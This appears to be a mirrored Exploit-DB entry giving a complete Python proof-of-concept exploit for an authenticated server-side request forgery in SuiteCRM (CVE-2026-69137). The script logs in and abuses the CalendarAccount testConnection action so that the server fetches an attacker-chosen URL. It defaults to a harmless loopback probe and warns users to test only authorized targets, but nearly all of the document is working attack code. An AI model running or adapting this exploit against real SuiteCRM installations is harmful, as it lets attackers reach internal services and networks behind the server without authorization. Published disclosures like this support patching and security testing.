[webapps] SuiteCRM 8.10.1 - Authenticated SSRF
# Exploit Title: SuiteCRM 8.10.1 - Authenticated 2026-10-1 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:2 收藏

# Exploit Title: SuiteCRM  8.10.1 - Authenticated SSRF
# Exploit Author: Max Gabriel (https://github.com/EntroVyx)
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://github.com/SuiteCRM/SuiteCRM
# Version: <= 7.15.1, <= 8.10.1
# Tested on: SuiteCRM 7.15.1, Apache 2.4, PHP 8.1, MariaDB 10.6
# CVE: CVE-2026-69137
# Advisory: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
#
# Usage:
#   python CVE-2026-69137.py -u https://suitecrm.example -U user -P password
#   python CVE-2026-69137.py -u https://suitecrm.example --cookie 'PHPSESSID=value' \
#       --server-url http://127.0.0.1:8080/
#
# The default destination is 127.0.0.1:1. It is a closed loopback port probe that
# demonstrates the vulnerable server-side request path without requesting a service.
# Use --server-url only on systems and destinations you are authorized to test.
"""

import argparse
import http.cookiejar
import json
import ssl
import sys
from typing import Optional
from urllib.error import HTTPError, URLError
from urllib.parse import urlencode, urljoin, urlparse
from urllib.request import HTTPCookieProcessor, Request, build_opener


DEFAULT_SERVER_URL = "http://127.0.0.1:1/"
USER_AGENT = "CVE-2026-69137-POC/1.0"


def base_url(value: str) -> str:
    """Validate and normalize the SuiteCRM base URL."""
    parsed = urlparse(value)
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        raise argparse.ArgumentTypeError("target URL must include http(s):// and a host")
    return value.rstrip("/") + "/"


def response_body(response) -> tuple[int, str, str]:
    """Return status, content type, and a decoded response body."""
    status = getattr(response, "status", response.getcode())
    content_type = response.headers.get("Content-Type", "")
    raw = response.read()
    charset = response.headers.get_content_charset() or "utf-8"
    return status, content_type, raw.decode(charset, errors="replace")


def make_opener(insecure: bool):
    jar = http.cookiejar.CookieJar()
    handlers = [HTTPCookieProcessor(jar)]
    if insecure:
        handlers.append(ssl.HTTPSHandler(context=ssl._create_unverified_context()))
    return build_opener(*handlers)


def post(opener, endpoint: str, values: dict[str, str], cookie: Optional[str], timeout: int):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": USER_AGENT,
    }
    if cookie:
        headers["Cookie"] = cookie
    request = Request(
        endpoint,
        data=urlencode(values).encode("utf-8"),
        headers=headers,
        method="POST",
    )
    return opener.open(request, timeout=timeout)


def login(opener, endpoint: str, username: str, password: str, timeout: int) -> None:
    """Create a SuiteCRM legacy session using the normal Users/Authenticate action."""
    values = {
        "module": "Users",
        "action": "Authenticate",
        "user_name": username,
        "username_password": password,
    }
    try:
        response = post(opener, endpoint, values, None, timeout)
        response.read()
    except (HTTPError, URLError) as error:
        raise RuntimeError(f"login request failed: {error}") from error


def parse_result(status: int, content_type: str, body: str) -> int:
    """Print a concise result and return a process exit code."""
    try:
        payload = json.loads(body)
    except json.JSONDecodeError:
        print("[-] The endpoint did not return JSON. Authentication may have failed.")
        print(f"    HTTP {status}; Content-Type: {content_type or 'unknown'}")
        return 2

    message = str(payload.get("message", ""))
    data = payload.get("data") if isinstance(payload.get("data"), dict) else {}
    error_code = payload.get("error_code", "")

    if error_code == "INVALID_ARGUMENT" and "not allowed" in message.lower():
        print("[+] Target rejected the supplied URL; the SSRF fix appears to be present.")
        return 0

    if error_code == "CONNECTION_TEST_FAILED" or data.get("success") is True:
        print("[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.")
        if message:
            print(f"    Server message: {message}")
        if data.get("success") is True:
            print("    The supplied endpoint returned a successful CalDAV response.")
        return 1

    print("[?] The endpoint returned an unexpected JSON response.")
    print(json.dumps(payload, indent=2, ensure_ascii=False))
    return 3


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated proof of concept for SuiteCRM CVE-2026-69137."
    )
    parser.add_argument("-u", "--url", required=True, type=base_url, help="SuiteCRM base URL")
    auth = parser.add_mutually_exclusive_group(required=True)
    auth.add_argument("--cookie", help="authenticated SuiteCRM Cookie header value")
    auth.add_argument("-U", "--username", help="SuiteCRM username")
    parser.add_argument("-P", "--password", help="SuiteCRM password; required with --username")
    parser.add_argument(
        "--server-url",
        default=DEFAULT_SERVER_URL,
        help=f"URL fetched by SuiteCRM (default: {DEFAULT_SERVER_URL})",
    )
    parser.add_argument("--timeout", type=int, default=35, help="HTTP timeout in seconds (default: 35)")
    parser.add_argument("-k", "--insecure", action="store_true", help="do not verify target TLS certificate")
    args = parser.parse_args()

    if args.username and not args.password:
        parser.error("--password is required when --username is used")
    if args.timeout <= 0:
        parser.error("--timeout must be greater than zero")

    endpoint = urljoin(args.url, "index.php")
    opener = make_opener(args.insecure)

    try:
        if args.username:
            print("[*] Authenticating with SuiteCRM legacy login...")
            login(opener, endpoint, args.username, args.password, args.timeout)

        print(f"[*] Sending testConnection request with server_url={args.server_url}")
        values = {
            "module": "CalendarAccount",
            "action": "testConnection",
            "source": "caldav_basic",
            "username": "probe",
            "password": "probe",
            "server_url": args.server_url,
        }
        response = post(opener, endpoint, values, args.cookie, args.timeout)
        status, content_type, body = response_body(response)
    except HTTPError as error:
        status, content_type, body = response_body(error)
    except (URLError, OSError) as error:
        print(f"[-] Request failed: {error}")
        return 2

    return parse_result(status, content_type, body)


if __name__ == "__main__":
    sys.exit(main())
            

文章来源: https://www.exploit-db.com/exploits/52686
如有侵权请联系:admin#unsafe.sh